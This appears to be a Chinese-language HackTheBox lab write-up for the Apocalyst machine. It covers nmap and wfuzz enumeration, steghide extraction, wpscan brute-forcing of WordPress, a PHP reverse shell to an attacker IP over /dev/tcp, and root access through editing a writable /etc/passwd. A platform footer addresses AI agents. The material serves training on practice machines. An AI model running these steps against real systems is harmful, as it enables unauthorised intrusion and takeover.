> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md). # Apocalyst HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * WordPress 枚举 * 图像隐写挑战 - Steghide * 信息泄露 - 用户枚举 * WordPress 利用 - 主题编辑器（RCE） * 滥用配置错误的权限（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts ```

**使用 Nmap 进行端口版本扫描（22.80）：** 使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p22,80 10.10.10.46 -oN targeted ```

我们检测到一个 WordPress 网站，但域名解析配置不正确。

我们将以下条目添加到 */etc/hosts*:

## **探索 WordPress 网站**

#### **识别一个有效用户** 我们找到了一个有效用户： **falaraki**.

#### **SSH 利用** 由于 SSH 版本过旧，我们可以使用一个漏洞利用来验证系统中的用户： ```bash searchsploit -m linux/remote/45939.py ```

验证该用户是否存在： ```bash python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null ```

#### 所以对于 wordpress：

### **WordPress 枚举** 我们使用 *wfuzz* 搜索有趣的目录： {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} 此次扫描检测到多个返回 301 代码的页面，重定向到一张图片。

然后我们按文本长度（157）进行过滤： {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} 没有发现有趣的结果。

### **个性化词典创建 - CEWL** 我们基于该网站生成一个词典：

使用 **Cewl** 以基于该网站生成一个词典： ```bash cewl -w list.txt http://apocalyst.htb/ ```

使用……进行新的识别 *wfuzz*: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L ``` {% endcode %} 我们找到了 **`正义`** 目录。

### **使用 Steghide 进行隐写分析** 我们保存该图片并对其进行分析： 1. 检查图片是否包含隐藏数据：

检查图片是否包含隐藏数据： ```bash steghide info image.jpg ```

提取隐藏数据： ```bash steghide extract -sf image.jpg ```

一个 *list.txt* 生成了一个包含单词的文件

### **对 WordPress 进行暴力破解攻击**


/pages/b60094c40d1511b56efb1b5e942370e9941935ef

我们使用 *wpscan*，利用 *xmlrpc.php* 该文件处于启用状态： ```bash wpscan --url http://apocalyst.htb -U falaraki -P list.txt ``` 我们找到 **falaraki**的密码： **音译**.

### **WordPress 利用 - 远程代码执行（RCE）**

我们修改 *404.php* 文件，并向其中注入一个反向 shell： ```php & /dev/tcp/10.10.14.50/443 0>&1'") ?> ``` 在 443 端口监听： ```bash nc -nvlp 443 ```

通过 *curl*: ```bash curl -s -X GET "http://apocalyst.htb/?p=404.php" ```

#### 改进后的 shell 会话： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### user.txt 标志 :)

## **权限提升** ### **权限管理（`/etc/passwd`)** ```bash find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys" ``` 我们看到 */etc/passwd* 可编辑。

使用 OpenSSL 创建加密密码： ``` openssl passwd -1 -salt WylYIBz9 jordan ```

这会生成： * $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/ 我们将 */etc/passwd* 中的 root 行替换为我们的哈希。

以 root 身份登录：

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.